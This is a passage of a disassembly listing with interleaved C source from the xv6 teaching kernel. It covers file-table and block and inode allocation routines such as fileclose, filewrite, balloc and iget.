80100df9: 85 c0 test %eax,%eax
80100dfb: 7e 1a jle 80100e17 <filedup+0x37>
panic("filedup");
f->ref++;
80100dfd: 83 c0 01 add $0x1,%eax
80100e00: 89 43 04 mov %eax,0x4(%ebx)
release(&ftable.lock);
80100e03: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100e0a: e8 c1 36 00 00 call 801044d0 <release>
return f;
}
80100e0f: 83 c4 14 add $0x14,%esp
80100e12: 89 d8 mov %ebx,%eax
80100e14: 5b pop %ebx
80100e15: 5d pop %ebp
80100e16: c3 ret
struct file*
filedup(struct file *f)
{
acquire(&ftable.lock);
if(f->ref < 1)
panic("filedup");
80100e17: c7 04 24 30 70 10 80 movl $0x80107030,(%esp)
80100e1e: e8 3d f5 ff ff call 80100360 <panic>
80100e23: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100e30 <fileclose>:
}
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100e30: 55 push %ebp
80100e31: 89 e5 mov %esp,%ebp
80100e33: 57 push %edi
80100e34: 56 push %esi
80100e35: 53 push %ebx
80100e36: 83 ec 1c sub $0x1c,%esp
80100e39: 8b 7d 08 mov 0x8(%ebp),%edi
struct file ff;
acquire(&ftable.lock);
80100e3c: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
80100e43: e8 58 35 00 00 call 801043a0 <acquire>
if(f->ref < 1)
80100e48: 8b 57 04 mov 0x4(%edi),%edx
80100e4b: 85 d2 test %edx,%edx
80100e4d: 0f 8e 89 00 00 00 jle 80100edc <fileclose+0xac>
panic("fileclose");
if(--f->ref > 0){
80100e53: 83 ea 01 sub $0x1,%edx
80100e56: 85 d2 test %edx,%edx
80100e58: 89 57 04 mov %edx,0x4(%edi)
80100e5b: 74 13 je 80100e70 <fileclose+0x40>
release(&ftable.lock);
80100e5d: c7 45 08 e0 ff 10 80 movl $0x8010ffe0,0x8(%ebp)
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
}
}
80100e64: 83 c4 1c add $0x1c,%esp
80100e67: 5b pop %ebx
80100e68: 5e pop %esi
80100e69: 5f pop %edi
80100e6a: 5d pop %ebp
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
80100e6b: e9 60 36 00 00 jmp 801044d0 <release>
return;
}
ff = *f;
80100e70: 0f b6 47 09 movzbl 0x9(%edi),%eax
80100e74: 8b 37 mov (%edi),%esi
80100e76: 8b 5f 0c mov 0xc(%edi),%ebx
f->ref = 0;
f->type = FD_NONE;
80100e79: c7 07 00 00 00 00 movl $0x0,(%edi)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e7f: 88 45 e7 mov %al,-0x19(%ebp)
80100e82: 8b 47 10 mov 0x10(%edi),%eax
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e85: c7 04 24 e0 ff 10 80 movl $0x8010ffe0,(%esp)
panic("fileclose");
if(--f->ref > 0){
release(&ftable.lock);
return;
}
ff = *f;
80100e8c: 89 45 e0 mov %eax,-0x20(%ebp)
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
80100e8f: e8 3c 36 00 00 call 801044d0 <release>
if(ff.type == FD_PIPE)
80100e94: 83 fe 01 cmp $0x1,%esi
80100e97: 74 0f je 80100ea8 <fileclose+0x78>
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
80100e99: 83 fe 02 cmp $0x2,%esi
80100e9c: 74 22 je 80100ec0 <fileclose+0x90>
begin_op();
iput(ff.ip);
end_op();
}
}
80100e9e: 83 c4 1c add $0x1c,%esp
80100ea1: 5b pop %ebx
80100ea2: 5e pop %esi
80100ea3: 5f pop %edi
80100ea4: 5d pop %ebp
80100ea5: c3 ret
80100ea6: 66 90 xchg %ax,%ax
f->ref = 0;
f->type = FD_NONE;
release(&ftable.lock);
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
80100ea8: 0f be 75 e7 movsbl -0x19(%ebp),%esi
80100eac: 89 1c 24 mov %ebx,(%esp)
80100eaf: 89 74 24 04 mov %esi,0x4(%esp)
80100eb3: e8 08 25 00 00 call 801033c0 <pipeclose>
80100eb8: eb e4 jmp 80100e9e <fileclose+0x6e>
80100eba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
else if(ff.type == FD_INODE){
begin_op();
80100ec0: e8 cb 1c 00 00 call 80102b90 <begin_op>
iput(ff.ip);
80100ec5: 8b 45 e0 mov -0x20(%ebp),%eax
80100ec8: 89 04 24 mov %eax,(%esp)
80100ecb: e8 00 09 00 00 call 801017d0 <iput>
end_op();
}
}
80100ed0: 83 c4 1c add $0x1c,%esp
80100ed3: 5b pop %ebx
80100ed4: 5e pop %esi
80100ed5: 5f pop %edi
80100ed6: 5d pop %ebp
if(ff.type == FD_PIPE)
pipeclose(ff.pipe, ff.writable);
else if(ff.type == FD_INODE){
begin_op();
iput(ff.ip);
end_op();
80100ed7: e9 24 1d 00 00 jmp 80102c00 <end_op>
{
struct file ff;
acquire(&ftable.lock);
if(f->ref < 1)
panic("fileclose");
80100edc: c7 04 24 38 70 10 80 movl $0x80107038,(%esp)
80100ee3: e8 78 f4 ff ff call 80100360 <panic>
80100ee8: 90 nop
80100ee9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100ef0 <filestat>:
}
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
80100ef0: 55 push %ebp
80100ef1: 89 e5 mov %esp,%ebp
80100ef3: 53 push %ebx
80100ef4: 83 ec 14 sub $0x14,%esp
80100ef7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(f->type == FD_INODE){
80100efa: 83 3b 02 cmpl $0x2,(%ebx)
80100efd: 75 31 jne 80100f30 <filestat+0x40>
ilock(f->ip);
80100eff: 8b 43 10 mov 0x10(%ebx),%eax
80100f02: 89 04 24 mov %eax,(%esp)
80100f05: e8 b6 07 00 00 call 801016c0 <ilock>
stati(f->ip, st);
80100f0a: 8b 45 0c mov 0xc(%ebp),%eax
80100f0d: 89 44 24 04 mov %eax,0x4(%esp)
80100f11: 8b 43 10 mov 0x10(%ebx),%eax
80100f14: 89 04 24 mov %eax,(%esp)
80100f17: e8 04 0a 00 00 call 80101920 <stati>
iunlock(f->ip);
80100f1c: 8b 43 10 mov 0x10(%ebx),%eax
80100f1f: 89 04 24 mov %eax,(%esp)
80100f22: e8 69 08 00 00 call 80101790 <iunlock>
return 0;
}
return -1;
}
80100f27: 83 c4 14 add $0x14,%esp
{
if(f->type == FD_INODE){
ilock(f->ip);
stati(f->ip, st);
iunlock(f->ip);
return 0;
80100f2a: 31 c0 xor %eax,%eax
}
return -1;
}
80100f2c: 5b pop %ebx
80100f2d: 5d pop %ebp
80100f2e: c3 ret
80100f2f: 90 nop
80100f30: 83 c4 14 add $0x14,%esp
ilock(f->ip);
stati(f->ip, st);
iunlock(f->ip);
return 0;
}
return -1;
80100f33: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f38: 5b pop %ebx
80100f39: 5d pop %ebp
80100f3a: c3 ret
80100f3b: 90 nop
80100f3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100f40 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
80100f40: 55 push %ebp
80100f41: 89 e5 mov %esp,%ebp
80100f43: 57 push %edi
80100f44: 56 push %esi
80100f45: 53 push %ebx
80100f46: 83 ec 1c sub $0x1c,%esp
80100f49: 8b 5d 08 mov 0x8(%ebp),%ebx
80100f4c: 8b 75 0c mov 0xc(%ebp),%esi
80100f4f: 8b 7d 10 mov 0x10(%ebp),%edi
int r;
if(f->readable == 0)
80100f52: 80 7b 08 00 cmpb $0x0,0x8(%ebx)
80100f56: 74 68 je 80100fc0 <fileread+0x80>
return -1;
if(f->type == FD_PIPE)
80100f58: 8b 03 mov (%ebx),%eax
80100f5a: 83 f8 01 cmp $0x1,%eax
80100f5d: 74 49 je 80100fa8 <fileread+0x68>
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
80100f5f: 83 f8 02 cmp $0x2,%eax
80100f62: 75 63 jne 80100fc7 <fileread+0x87>
ilock(f->ip);
80100f64: 8b 43 10 mov 0x10(%ebx),%eax
80100f67: 89 04 24 mov %eax,(%esp)
80100f6a: e8 51 07 00 00 call 801016c0 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f6f: 89 7c 24 0c mov %edi,0xc(%esp)
80100f73: 8b 43 14 mov 0x14(%ebx),%eax
80100f76: 89 74 24 04 mov %esi,0x4(%esp)
80100f7a: 89 44 24 08 mov %eax,0x8(%esp)
80100f7e: 8b 43 10 mov 0x10(%ebx),%eax
80100f81: 89 04 24 mov %eax,(%esp)
80100f84: e8 c7 09 00 00 call 80101950 <readi>
80100f89: 85 c0 test %eax,%eax
80100f8b: 89 c6 mov %eax,%esi
80100f8d: 7e 03 jle 80100f92 <fileread+0x52>
f->off += r;
80100f8f: 01 43 14 add %eax,0x14(%ebx)
iunlock(f->ip);
80100f92: 8b 43 10 mov 0x10(%ebx),%eax
80100f95: 89 04 24 mov %eax,(%esp)
80100f98: e8 f3 07 00 00 call 80101790 <iunlock>
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
if(f->type == FD_INODE){
ilock(f->ip);
if((r = readi(f->ip, addr, f->off, n)) > 0)
80100f9d: 89 f0 mov %esi,%eax
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100f9f: 83 c4 1c add $0x1c,%esp
80100fa2: 5b pop %ebx
80100fa3: 5e pop %esi
80100fa4: 5f pop %edi
80100fa5: 5d pop %ebp
80100fa6: c3 ret
80100fa7: 90 nop
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fa8: 8b 43 0c mov 0xc(%ebx),%eax
80100fab: 89 45 08 mov %eax,0x8(%ebp)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
}
80100fae: 83 c4 1c add $0x1c,%esp
80100fb1: 5b pop %ebx
80100fb2: 5e pop %esi
80100fb3: 5f pop %edi
80100fb4: 5d pop %ebp
int r;
if(f->readable == 0)
return -1;
if(f->type == FD_PIPE)
return piperead(f->pipe, addr, n);
80100fb5: e9 b6 25 00 00 jmp 80103570 <piperead>
80100fba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
fileread(struct file *f, char *addr, int n)
{
int r;
if(f->readable == 0)
return -1;
80100fc0: b8 ff ff ff ff mov $0xffffffff,%eax
80100fc5: eb d8 jmp 80100f9f <fileread+0x5f>
if((r = readi(f->ip, addr, f->off, n)) > 0)
f->off += r;
iunlock(f->ip);
return r;
}
panic("fileread");
80100fc7: c7 04 24 42 70 10 80 movl $0x80107042,(%esp)
80100fce: e8 8d f3 ff ff call 80100360 <panic>
80100fd3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80100fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100fe0 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100fe0: 55 push %ebp
80100fe1: 89 e5 mov %esp,%ebp
80100fe3: 57 push %edi
80100fe4: 56 push %esi
80100fe5: 53 push %ebx
80100fe6: 83 ec 2c sub $0x2c,%esp
80100fe9: 8b 45 0c mov 0xc(%ebp),%eax
80100fec: 8b 7d 08 mov 0x8(%ebp),%edi
80100fef: 89 45 dc mov %eax,-0x24(%ebp)
80100ff2: 8b 45 10 mov 0x10(%ebp),%eax
int r;
if(f->writable == 0)
80100ff5: 80 7f 09 00 cmpb $0x0,0x9(%edi)
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
80100ff9: 89 45 e4 mov %eax,-0x1c(%ebp)
int r;
if(f->writable == 0)
80100ffc: 0f 84 ae 00 00 00 je 801010b0 <filewrite+0xd0>
return -1;
if(f->type == FD_PIPE)
80101002: 8b 07 mov (%edi),%eax
80101004: 83 f8 01 cmp $0x1,%eax
80101007: 0f 84 c2 00 00 00 je 801010cf <filewrite+0xef>
return pipewrite(f->pipe, addr, n);
if(f->type == FD_INODE){
8010100d: 83 f8 02 cmp $0x2,%eax
80101010: 0f 85 d7 00 00 00 jne 801010ed <filewrite+0x10d>
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
80101016: 8b 45 e4 mov -0x1c(%ebp),%eax
80101019: 31 db xor %ebx,%ebx
8010101b: 85 c0 test %eax,%eax
8010101d: 7f 31 jg 80101050 <filewrite+0x70>
8010101f: e9 9c 00 00 00 jmp 801010c0 <filewrite+0xe0>
80101024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
iunlock(f->ip);
80101028: 8b 4f 10 mov 0x10(%edi),%ecx
n1 = max;
begin_op();
ilock(f->ip);
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
f->off += r;
8010102b: 01 47 14 add %eax,0x14(%edi)
8010102e: 89 45 e0 mov %eax,-0x20(%ebp)
iunlock(f->ip);
80101031: 89 0c 24 mov %ecx,(%esp)
80101034: e8 57 07 00 00 call 80101790 <iunlock>
end_op();
80101039: e8 c2 1b 00 00 call 80102c00 <end_op>
8010103e: 8b 45 e0 mov -0x20(%ebp),%eax
if(r < 0)
break;
if(r != n1)
80101041: 39 f0 cmp %esi,%eax
80101043: 0f 85 98 00 00 00 jne 801010e1 <filewrite+0x101>
panic("short filewrite");
i += r;
80101049: 01 c3 add %eax,%ebx
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
8010104b: 39 5d e4 cmp %ebx,-0x1c(%ebp)
8010104e: 7e 70 jle 801010c0 <filewrite+0xe0>
int n1 = n - i;
80101050: 8b 75 e4 mov -0x1c(%ebp),%esi
80101053: b8 00 1a 00 00 mov $0x1a00,%eax
80101058: 29 de sub %ebx,%esi
8010105a: 81 fe 00 1a 00 00 cmp $0x1a00,%esi
80101060: 0f 4f f0 cmovg %eax,%esi
if(n1 > max)
n1 = max;
begin_op();
80101063: e8 28 1b 00 00 call 80102b90 <begin_op>
ilock(f->ip);
80101068: 8b 47 10 mov 0x10(%edi),%eax
8010106b: 89 04 24 mov %eax,(%esp)
8010106e: e8 4d 06 00 00 call 801016c0 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101073: 89 74 24 0c mov %esi,0xc(%esp)
80101077: 8b 47 14 mov 0x14(%edi),%eax
8010107a: 89 44 24 08 mov %eax,0x8(%esp)
8010107e: 8b 45 dc mov -0x24(%ebp),%eax
80101081: 01 d8 add %ebx,%eax
80101083: 89 44 24 04 mov %eax,0x4(%esp)
80101087: 8b 47 10 mov 0x10(%edi),%eax
8010108a: 89 04 24 mov %eax,(%esp)
8010108d: e8 be 09 00 00 call 80101a50 <writei>
80101092: 85 c0 test %eax,%eax
80101094: 7f 92 jg 80101028 <filewrite+0x48>
f->off += r;
iunlock(f->ip);
80101096: 8b 4f 10 mov 0x10(%edi),%ecx
80101099: 89 45 e0 mov %eax,-0x20(%ebp)
8010109c: 89 0c 24 mov %ecx,(%esp)
8010109f: e8 ec 06 00 00 call 80101790 <iunlock>
end_op();
801010a4: e8 57 1b 00 00 call 80102c00 <end_op>
if(r < 0)
801010a9: 8b 45 e0 mov -0x20(%ebp),%eax
801010ac: 85 c0 test %eax,%eax
801010ae: 74 91 je 80101041 <filewrite+0x61>
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010b0: 83 c4 2c add $0x2c,%esp
filewrite(struct file *f, char *addr, int n)
{
int r;
if(f->writable == 0)
return -1;
801010b3: b8 ff ff ff ff mov $0xffffffff,%eax
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010b8: 5b pop %ebx
801010b9: 5e pop %esi
801010ba: 5f pop %edi
801010bb: 5d pop %ebp
801010bc: c3 ret
801010bd: 8d 76 00 lea 0x0(%esi),%esi
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801010c0: 3b 5d e4 cmp -0x1c(%ebp),%ebx
801010c3: 89 d8 mov %ebx,%eax
801010c5: 75 e9 jne 801010b0 <filewrite+0xd0>
}
panic("filewrite");
}
801010c7: 83 c4 2c add $0x2c,%esp
801010ca: 5b pop %ebx
801010cb: 5e pop %esi
801010cc: 5f pop %edi
801010cd: 5d pop %ebp
801010ce: c3 ret
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
801010cf: 8b 47 0c mov 0xc(%edi),%eax
801010d2: 89 45 08 mov %eax,0x8(%ebp)
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
}
801010d5: 83 c4 2c add $0x2c,%esp
801010d8: 5b pop %ebx
801010d9: 5e pop %esi
801010da: 5f pop %edi
801010db: 5d pop %ebp
int r;
if(f->writable == 0)
return -1;
if(f->type == FD_PIPE)
return pipewrite(f->pipe, addr, n);
801010dc: e9 6f 23 00 00 jmp 80103450 <pipewrite>
end_op();
if(r < 0)
break;
if(r != n1)
panic("short filewrite");
801010e1: c7 04 24 4b 70 10 80 movl $0x8010704b,(%esp)
801010e8: e8 73 f2 ff ff call 80100360 <panic>
i += r;
}
return i == n ? n : -1;
}
panic("filewrite");
801010ed: c7 04 24 51 70 10 80 movl $0x80107051,(%esp)
801010f4: e8 67 f2 ff ff call 80100360 <panic>
801010f9: 66 90 xchg %ax,%ax
801010fb: 66 90 xchg %ax,%ax
801010fd: 66 90 xchg %ax,%ax
801010ff: 90 nop
80101100 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
80101100: 55 push %ebp
80101101: 89 e5 mov %esp,%ebp
80101103: 57 push %edi
80101104: 56 push %esi
80101105: 53 push %ebx
80101106: 83 ec 2c sub $0x2c,%esp
80101109: 89 45 d8 mov %eax,-0x28(%ebp)
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
8010110c: a1 e0 09 11 80 mov 0x801109e0,%eax
80101111: 85 c0 test %eax,%eax
80101113: 0f 84 8c 00 00 00 je 801011a5 <balloc+0xa5>
80101119: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
bp = bread(dev, BBLOCK(b, sb));
80101120: 8b 75 dc mov -0x24(%ebp),%esi
80101123: 89 f0 mov %esi,%eax
80101125: c1 f8 0c sar $0xc,%eax
80101128: 03 05 f8 09 11 80 add 0x801109f8,%eax
8010112e: 89 44 24 04 mov %eax,0x4(%esp)
80101132: 8b 45 d8 mov -0x28(%ebp),%eax
80101135: 89 04 24 mov %eax,(%esp)
80101138: e8 93 ef ff ff call 801000d0 <bread>
8010113d: 89 45 e4 mov %eax,-0x1c(%ebp)
80101140: a1 e0 09 11 80 mov 0x801109e0,%eax
80101145: 89 45 e0 mov %eax,-0x20(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101148: 31 c0 xor %eax,%eax
8010114a: eb 33 jmp 8010117f <balloc+0x7f>
8010114c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101150: 8b 5d e4 mov -0x1c(%ebp),%ebx
80101153: 89 c2 mov %eax,%edx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
80101155: 89 c1 mov %eax,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101157: c1 fa 03 sar $0x3,%edx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
8010115a: 83 e1 07 and $0x7,%ecx
8010115d: bf 01 00 00 00 mov $0x1,%edi
80101162: d3 e7 shl %cl,%edi
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101164: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
80101169: 89 f9 mov %edi,%ecx
if((bp->data[bi/8] & m) == 0){ // Is block free?
8010116b: 0f b6 fb movzbl %bl,%edi
8010116e: 85 cf test %ecx,%edi
80101170: 74 46 je 801011b8 <balloc+0xb8>
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101172: 83 c0 01 add $0x1,%eax
80101175: 83 c6 01 add $0x1,%esi
80101178: 3d 00 10 00 00 cmp $0x1000,%eax
8010117d: 74 05 je 80101184 <balloc+0x84>
8010117f: 3b 75 e0 cmp -0x20(%ebp),%esi
80101182: 72 cc jb 80101150 <balloc+0x50>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
80101184: 8b 45 e4 mov -0x1c(%ebp),%eax
80101187: 89 04 24 mov %eax,(%esp)
8010118a: e8 51 f0 ff ff call 801001e0 <brelse>
{
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
8010118f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp)
80101196: 8b 45 dc mov -0x24(%ebp),%eax
80101199: 3b 05 e0 09 11 80 cmp 0x801109e0,%eax
8010119f: 0f 82 7b ff ff ff jb 80101120 <balloc+0x20>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
801011a5: c7 04 24 5b 70 10 80 movl $0x8010705b,(%esp)
801011ac: e8 af f1 ff ff call 80100360 <panic>
801011b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
m = 1 << (bi % 8);
if((bp->data[bi/8] & m) == 0){ // Is block free?
bp->data[bi/8] |= m; // Mark block in use.
801011b8: 09 d9 or %ebx,%ecx
801011ba: 8b 5d e4 mov -0x1c(%ebp),%ebx
801011bd: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1)
log_write(bp);
801011c1: 89 1c 24 mov %ebx,(%esp)
801011c4: e8 67 1b 00 00 call 80102d30 <log_write>
brelse(bp);
801011c9: 89 1c 24 mov %ebx,(%esp)
801011cc: e8 0f f0 ff ff call 801001e0 <brelse>
static void
bzero(int dev, int bno)
{
struct buf *bp;
bp = bread(dev, bno);
801011d1: 8b 45 d8 mov -0x28(%ebp),%eax
801011d4: 89 74 24 04 mov %esi,0x4(%esp)
801011d8: 89 04 24 mov %eax,(%esp)
801011db: e8 f0 ee ff ff call 801000d0 <bread>
memset(bp->data, 0, BSIZE);
801011e0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801011e7: 00
801011e8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801011ef: 00
static void
bzero(int dev, int bno)
{
struct buf *bp;
bp = bread(dev, bno);
801011f0: 89 c3 mov %eax,%ebx
memset(bp->data, 0, BSIZE);
801011f2: 8d 40 5c lea 0x5c(%eax),%eax
801011f5: 89 04 24 mov %eax,(%esp)
801011f8: e8 23 33 00 00 call 80104520 <memset>
log_write(bp);
801011fd: 89 1c 24 mov %ebx,(%esp)
80101200: e8 2b 1b 00 00 call 80102d30 <log_write>
brelse(bp);
80101205: 89 1c 24 mov %ebx,(%esp)
80101208: e8 d3 ef ff ff call 801001e0 <brelse>
}
}
brelse(bp);
}
panic("balloc: out of blocks");
}
8010120d: 83 c4 2c add $0x2c,%esp
80101210: 89 f0 mov %esi,%eax
80101212: 5b pop %ebx
80101213: 5e pop %esi
80101214: 5f pop %edi
80101215: 5d pop %ebp
80101216: c3 ret
80101217: 89 f6 mov %esi,%esi
80101219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101220 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101220: 55 push %ebp
80101221: 89 e5 mov %esp,%ebp
80101223: 57 push %edi
80101224: 89 c7 mov %eax,%edi
80101226: 56 push %esi
struct inode *ip, *empty;
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
80101227: 31 f6 xor %esi,%esi
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101229: 53 push %ebx
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010122a: bb 34 0a 11 80 mov $0x80110a34,%ebx
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
8010122f: 83 ec 1c sub $0x1c,%esp
struct inode *ip, *empty;
acquire(&icache.lock);
80101232: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101239: 89 55 e4 mov %edx,-0x1c(%ebp)
struct inode *ip, *empty;
acquire(&icache.lock);
8010123c: e8 5f 31 00 00 call 801043a0 <acquire>
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101241: 8b 55 e4 mov -0x1c(%ebp),%edx
80101244: eb 14 jmp 8010125a <iget+0x3a>
80101246: 66 90 xchg %ax,%ax
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
return ip;
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101248: 85 f6 test %esi,%esi
8010124a: 74 3c je 80101288 <iget+0x68>
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010124c: 81 c3 90 00 00 00 add $0x90,%ebx
80101252: 81 fb 54 26 11 80 cmp $0x80112654,%ebx
80101258: 74 46 je 801012a0 <iget+0x80>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
8010125a: 8b 4b 08 mov 0x8(%ebx),%ecx
8010125d: 85 c9 test %ecx,%ecx
8010125f: 7e e7 jle 80101248 <iget+0x28>
80101261: 39 3b cmp %edi,(%ebx)
80101263: 75 e3 jne 80101248 <iget+0x28>
80101265: 39 53 04 cmp %edx,0x4(%ebx)
80101268: 75 de jne 80101248 <iget+0x28>
ip->ref++;
8010126a: 83 c1 01 add $0x1,%ecx
release(&icache.lock);
return ip;
8010126d: 89 de mov %ebx,%esi
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
release(&icache.lock);
8010126f: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
ip->ref++;
80101276: 89 4b 08 mov %ecx,0x8(%ebx)
release(&icache.lock);
80101279: e8 52 32 00 00 call 801044d0 <release>
ip->ref = 1;
ip->flags = 0;
release(&icache.lock);
return ip;
}
8010127e: 83 c4 1c add $0x1c,%esp
80101281: 89 f0 mov %esi,%eax
80101283: 5b pop %ebx
80101284: 5e pop %esi
80101285: 5f pop %edi
80101286: 5d pop %ebp
80101287: c3 ret
80101288: 85 c9 test %ecx,%ecx
8010128a: 0f 44 f3 cmove %ebx,%esi
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010128d: 81 c3 90 00 00 00 add $0x90,%ebx
80101293: 81 fb 54 26 11 80 cmp $0x80112654,%ebx
80101299: 75 bf jne 8010125a <iget+0x3a>
8010129b: 90 nop
8010129c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
801012a0: 85 f6 test %esi,%esi
801012a2: 74 29 je 801012cd <iget+0xad>
panic("iget: no inodes");
ip = empty;
ip->dev = dev;
801012a4: 89 3e mov %edi,(%esi)
ip->inum = inum;
801012a6: 89 56 04 mov %edx,0x4(%esi)
ip->ref = 1;
801012a9: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi)
ip->flags = 0;
801012b0: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
release(&icache.lock);
801012b7: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
801012be: e8 0d 32 00 00 call 801044d0 <release>
return ip;
}
801012c3: 83 c4 1c add $0x1c,%esp
801012c6: 89 f0 mov %esi,%eax
801012c8: 5b pop %ebx
801012c9: 5e pop %esi
801012ca: 5f pop %edi
801012cb: 5d pop %ebp
801012cc: c3 ret
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
panic("iget: no inodes");
